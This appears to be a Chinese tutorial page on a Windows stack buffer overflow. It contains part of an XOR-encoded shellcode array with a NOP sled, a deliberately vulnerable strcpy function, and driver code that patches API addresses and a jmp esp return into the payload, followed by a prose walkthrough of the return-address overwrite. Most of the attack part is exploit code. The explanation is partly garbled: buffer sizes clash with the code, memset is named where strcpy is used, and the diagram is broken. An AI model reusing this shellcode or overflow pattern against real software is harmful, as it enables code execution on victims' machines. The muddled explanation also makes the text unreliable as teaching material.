/x6e/x2d/x77/x7b/x77/x03/x6a/x6a/x70/x6b/x62/x60/x68/x31/x68/x23/
/x2e/x23/x66/x46/x7a/x66/x23/x47/x6a/x64/x77/x6a/x62/x6f/x23/x50/
/x66/x60/x76/x71/x6a/x77/x7a/x0e/x09/x23/x45/x6c/x71/x23/x67/x66/
/x77/x62/x6a/x6f/x70/x23/x75/x6a/x70/x6a/x77/x39/x23/x4b/x77/x77/
/x73/x39/x2c/x2c/x74/x74/x74/x2d/x66/x46/x7a/x66/x2d/x60/x6c/x6e/
/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/
/x03/x03/x03/x03/x90/x90/x90/x90/x90/x90/x90/x90/xcb/x4a/x42/x6c/
/x90/x90/x90/x90/x66/x81/xec/x14/x01/xff/xe4/x03/x03/x03/x03/x03/
/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/
/x03/x00";
 
char tmpBuf[32];
void _stdcall process(char *buf)
{
    char    in[264];
 
    strcpy(in, buf);
    fprintf(stdout, "received data : %s/n", in);
    _asm nop;
}
 
int main(int argc, char *argv[])
{
    dwCloseHandle = *(UINT *)(*(UINT *)(func0+2));
    dwCreateFileA = *(UINT *)(*(UINT *)(func1+2));
   dwWriteFile = *(UINT *)(*(UINT *)(func2+2));
    dwExitProcess = *(UINT *)(*(UINT *)(func3+2));
 
    printf("&jmpesp=0x%08x/n", jmpesp);
    printf("CloseHandle=0x%08x/n", dwCloseHandle);
    printf("CreateFileA=0x%08x/n", dwCreateFileA);
    printf("WriteFile=0x%08x/n", dwWriteFile);
    printf("ExitProcess=0x%08x/n", dwExitProcess);
 
 
    *(UINT *)(sc+0x10c) = jmpesp;                       // "jmp esp"
    *(UINT *)(sc+0x82) = dwCloseHandle ^ 0x03030303;    // "CloseHandle"
    *(UINT *)(sc+0x86) = dwCreateFileA ^ 0x03030303;    // "CreateFileA"
    *(UINT *)(sc+0x8a) = dwWriteFile ^ 0x03030303;      // "WriteFile"
    *(UINT *)(sc+0x8e) = dwExitProcess ^ 0x03030303;    // "ExitProcess"
 
    _asm lea ebx,tmpBuf
    process(sc);
    return 0;
}

Jmp esp的指向为什么就是病毒的代码,这个过程想了很长时间,在一次执行过程中终于明白了,现总结如下。第一步,ESP在进入Process函数体后,指向临时的存储变量的地方,这个变量的大小推断为89个字节,而buf的大小为376个字节,远远大于这个数组的大小。第二步,当利用C函数memset进行字符串赋值时,整个病毒的376个字节全部都被复制到从ESP开始的376个字节内。EBP的指向为ESP地址后第96个字节,这个地址的下一个地址是jmp esp的地址。第三步,当process返回的时候,首先将EBP->ESP,然后出栈EBPEBP将等于0x01010101,而ESP将加4,指向为jmp esp的地址。函数返回ESP指向下一个字的地址,而程序将执行jmp esp。这条指令执行后,计算机将沿着病毒程序的代码,在堆栈里执行下去。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ESP

Buf89个字节的空间

ESP

Buf89个字节的空间

+287个字节为病毒代码所覆盖

 

病毒的前半数据,填充数据

 

 

 

 

 

 

 

寄存器

 

 

 

EBP

EBP

 

 

EIP

EIP存储在此,被修改

 

 

堆栈的后续字节

 

ESP

病毒的真正的危险程序

 

 

 

 

 

 

 1进入process程序                 2 覆盖病毒字符串                        3病毒执行
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!